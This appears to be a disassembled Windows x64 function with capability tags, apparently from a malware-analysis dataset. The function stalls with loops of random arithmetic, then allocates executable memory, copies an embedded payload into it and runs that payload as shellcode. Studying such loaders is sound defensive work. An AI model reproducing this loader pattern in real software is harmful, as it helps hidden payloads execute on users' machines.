Function at 0x140006dc0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x910
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movaps xmmword [r11 - 0x38], xmm8
movaps xmmword [r11 - 0x78], xmm12
mov rax, qword [0x1402081c8]
xor rax, rsp
mov qword [rsp + 0x890], rax
mov qword [r11 + 8], r12
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov r8, rax
call fcn.140008808
xor ebx, ebx
mov esi, ebx
nop word [rax + rax]
call fcn.140149dbc
inc rsi
mov edi, eax
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 7
sub edi, edx
mov byte [rsp + rsi + 0x9f], dil
cmp rsi, 0x7ec
jl 0x140006e20
lea rbp, [0x14020a540]
mov dl, 0xa
mov rcx, rbp
call fcn.1400046e0
mov rax, qword [0x14020a540]
mov edi, ebx
movsxd rcx, dword [rax + 4]
mov r12d, 4
test byte [rcx + rbp + 0x10], 6
jne 0x140006e97
mov rcx, qword [rcx + rbp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp eax, 0xffffffff
mov rax, qword [0x14020a540]
cmove edi, r12d
movsxd rcx, dword [rax + 4]
add rcx, rbp
test edi, edi
je 0x140006eb8
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], rbx
jne 0x140006eb0
or edx, r12d
xor r8d, r8d
call fcn.140001150
mov rdi, rbx
nop dword [rax + rax]
movzx edx, byte [rsp + rdi + 0xa0]
mov rcx, rbp
call fcn.140003330
lea rdx, [0x14017d140]
mov rcx, rax
call fcn.1400044a0
inc rdi
cmp rdi, 0x7ec
jl 0x140006ec0
mov dl, 0xa
mov rcx, rbp
call fcn.1400046e0
mov rax, qword [0x14020a540]
mov edi, ebx
movsxd rcx, dword [rax + 4]
test byte [rcx + rbp + 0x10], 6
jne 0x140006f22
mov rcx, qword [rcx + rbp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp eax, 0xffffffff
mov rax, qword [0x14020a540]
cmove edi, r12d
movsxd rcx, dword [rax + 4]
add rcx, rbp
test edi, edi
je 0x140006f43
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], rbx
jne 0x140006f3b
or edx, r12d
xor r8d, r8d
call fcn.140001150
call fcn.140149dbc
mov edi, eax
mov eax, 0xb60b60b7
imul edi
add edx, edi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x168
sub edi, edx
movd xmm6, edi
cvtdq2pd xmm6, xmm6
call fcn.140149dbc
movsd xmm12, qword [0x14017cac8]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub edi, edx
movd xmm7, edi
cvtdq2pd xmm7, xmm7
addsd xmm7, xmm12
call fcn.140149dbc
mov edi, eax
mov eax, 0x10624dd3
imul edi
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x3e8
sub edi, edx
movd xmm8, edi
mov rdi, rbx
cvtdq2pd xmm8, xmm8
addsd xmm8, qword [0x14017cac0]
nop word [rax + rax]
movzx edx, byte [rsp + rdi + 0xa0]
mov rcx, rbp
call fcn.140003330
lea rdx, [0x14017d140]
mov rcx, rax
call fcn.1400044a0
inc rdi
cmp rdi, 0x7ec
jl 0x140006fe0
movapd xmm1, xmm6
mov rcx, rbp
call fcn.140003510
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.1400046e0
mov rcx, qword [rsi]
mov edi, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x140007046
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r12d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x14000706a
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], rbx
jne 0x140007062
or edx, r12d
xor r8d, r8d
call fcn.140001150
xor ecx, ecx
call fcn.140149e78
mov rcx, rax
call fcn.140149da4
mov rcx, rbp
movapd xmm1, xmm7
call fcn.140003510
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.1400046e0
mov rcx, qword [rsi]
mov edi, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x1400070b4
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r12d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x1400070d8
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], rbx
jne 0x1400070d0
or edx, r12d
xor r8d, r8d
call fcn.140001150
movapd xmm1, xmm8
mov rcx, rbp
call fcn.140003510
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.1400046e0
mov rcx, qword [rsi]
mov edi, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x140007114
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r12d
mov rax, qword [rsi]
mov r12, qword [rsp + 0x920]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x140007140
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], rbx
jne 0x140007138
or edx, 4
xor r8d, r8d
call fcn.140001150
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rcx, [rsp + 0x21]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x20], VariantTimeToSystemTime
call fcn.14014a540
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rbp, rax
test rax, rax
je 0x140007194
xor edx, edx
mov r8d, 0xb00000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x14000719e
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, 1
jmp 0x140007316
movaps xmmword [rsp + 0x8d0], xmm9
movaps xmmword [rsp + 0x8c0], xmm10
movaps xmmword [rsp + 0x8b0], xmm11
nop dword [rax]
call fcn.140149dbc
inc rbx
mov edi, eax
mov eax, 0x55555556
imul edi
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub edi, ecx
mov byte [rbx + rsi - 1], dil
cmp rbx, 0xb00000
jl 0x1400071c0
movsd xmm7, qword [0x14017d138]
xorpd xmm6, xmm6
mov ecx, 0x408
call fcn.14000846c
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
mov rbx, rax
xor eax, eax
lea rdx, [rsp + 0x20]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.140006930
lea rdx, section.PAGE
mov r8d, 0x59d010
mov rcx, rbx
call fcn.140006a40
movsd xmm8, qword [0x14017d130]
movsd xmm9, qword [0x14017d128]
movsd xmm10, qword [0x14017d120]
movsd xmm11, qword [0x14017d118]
nop
movapd xmm0, xmm6
mov eax, 2
movapd xmm1, xmm12
nop
test al, 1
je 0x140007278
mulsd xmm1, xmm0
shr eax, 1
je 0x140007282
mulsd xmm0, xmm0
jmp 0x140007270
mulsd xmm1, xmm8
xor ecx, ecx
subsd xmm1, xmm9
divsd xmm1, xmm10
addsd xmm6, xmm1
subsd xmm7, xmm6
call fcn.140149e78
mov rcx, rax
call fcn.140149da4
xor ecx, ecx
mov edx, 0x59d010
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [0x1405827e0]
mov r8d, 0x246830
mov rcx, rax
mov rdi, rax
call fcn.14014a1f0
call rdi
mov r8, rsi
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
comisd xmm7, xmm11
ja 0x140007260
movaps xmm11, xmmword [rsp + 0x8b0]
movaps xmm10, xmmword [rsp + 0x8c0]
movaps xmm9, xmmword [rsp + 0x8d0]
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.14014adf0
lea r11, [rsp + 0x910]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop rdi
ret